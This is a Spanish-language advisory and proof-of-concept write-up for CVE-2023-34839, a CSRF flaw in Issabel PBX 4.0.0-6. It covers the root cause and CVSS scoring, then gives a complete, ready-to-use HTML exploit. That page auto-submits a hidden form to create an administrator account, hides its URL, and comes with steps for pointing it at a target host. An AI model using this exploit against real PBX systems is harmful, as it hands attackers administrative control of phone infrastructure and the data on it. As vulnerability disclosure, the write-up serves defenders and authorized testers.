
CVE-2023-34839 es una vulnerabilidad de falsificación de solicitudes entre sitios (Cross-Site Request Forgery, CSRF) descubierta en Issabel PBX versión 4.0.0-6, una plataforma de comunicaciones unificadas de código abierto ampliamente utilizada.
CVE-2023-34839 es una vulnerabilidad de Cross-Site Request Forgery (CSRF) descubierta en Issabel PBX versión 4.0.0-6, una plataforma de comunicaciones unificadas de código abierto ampliamente utilizada. La vulnerabilidad reside en el endpoint de gestión de usuarios y permite a un atacante remoto no autenticado crear silenciosamente una nueva cuenta de administrador engañando a un administrador autenticado para que visite una página web especialmente diseñada.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2023-34839 |
| Fecha | 23 de junio de 2023 |
| Investigador | Sahil Ojha |
| Proveedor | Issabel |
| Producto | Issabel PBX |
| Versión | 4.0.0-6 |
| Probado en | Windows |
Issabel PBX 4.0.0-6 no implementa protecciones CSRF (p. ej., tokens sincronizadores, atributos de cookie SameSite o validación de las cabeceras Origin / Referer) en el endpoint de creación de usuarios:
POST /index.php?menu=userlist&action=new
Debido a que la aplicación depende únicamente de las cookies de sesión para la autenticación y no realiza ninguna validación de las solicitudes que modifican el estado, una solicitud POST falsificada enviada desde cualquier origen será aceptada y procesada con todos los privilegios de la sesión del administrador autenticado.
Causa raíz: Ausencia de validación de tokens anti-CSRF en los endpoints administrativos que modifican el estado.
Clase de vulnerabilidad: CWE-352 — Cross-Site Request Forgery (CSRF)
| Software | Versión | Estado |
|---|---|---|
| Issabel PBX | 4.0.0-6 | Vulnerable ✔ |
| Métrica | Valor |
|---|---|
| Vector CVSS v3.1 | AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Puntuación Base | 8.8 (Alta) |
| Vector de Ataque | Red |
| Complejidad de Ataque | Baja |
| Privilegios Requeridos | Ninguno |
| Interacción del Usuario | Requerida (visita del administrador) |
| Alcance | Sin cambios |
| Confidencialidad | Alta |
| Integridad | Alta |
| Disponibilidad | Alta |
Un atacante puede explotar esta vulnerabilidad siguiendo estos pasos de alto nivel:
No se requiere ninguna interacción de la víctima más allá de visitar una única página.
⚠️ Solo con fines educativos y de pruebas autorizadas.
Sustituyelocalhostpor el nombre de host o la dirección IP de la instancia de Issabel PBX objetivo.
Si realizas pruebas contra un endpointhttps://con un certificado autofirmado, primero debes visitar la URL objetivo en el mismo navegador y aceptar la advertencia del certificado; de lo contrario, el navegador bloqueará el envío del formulario entre orígenes.
<html>
<!-- CSRF Exploit — CVE-2023-34839 -->
<body>
<form action="https://localhost/index.php?menu=userlist&action=new" method="POST">
<input type="hidden" name="save" value="Save" />
<input type="hidden" name="name" value="CSRF" />
<input type="hidden" name="description" value="CSRF Test Account" />
<input type="hidden" name="password1" value="Test@123" />
<input type="hidden" name="password2" value="Test@123" />
<input type="hidden" name="group" value="1" /> <!-- 1 = Administrator -->
<input type="hidden" name="extension" value="" />
<input type="hidden" name="webmailuser" value="" />
<input type="hidden" name="webmaildomain" value="" />
<input type="hidden" name="webmailpassword1" value="" />
<input type="hidden" name="id_user" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
El archivo del exploit también está disponible en este repositorio: CSRF Exploit.html
Accede a la interfaz web de Issabel PBX e inicia sesión con las credenciales de administrador.

Copia el código HTML de la PoC anterior y guárdalo como un archivo .html, sustituyendo localhost por el nombre de host o la dirección IP reales de la instancia Issabel objetivo.
El exploit utiliza campos de formulario ocultos para enviar silenciosamente una solicitud POST de creación de un nuevo usuario a la aplicación. Cuando la página se carga, el JavaScript integrado envía el formulario inmediatamente sin ninguna acción visible del usuario.
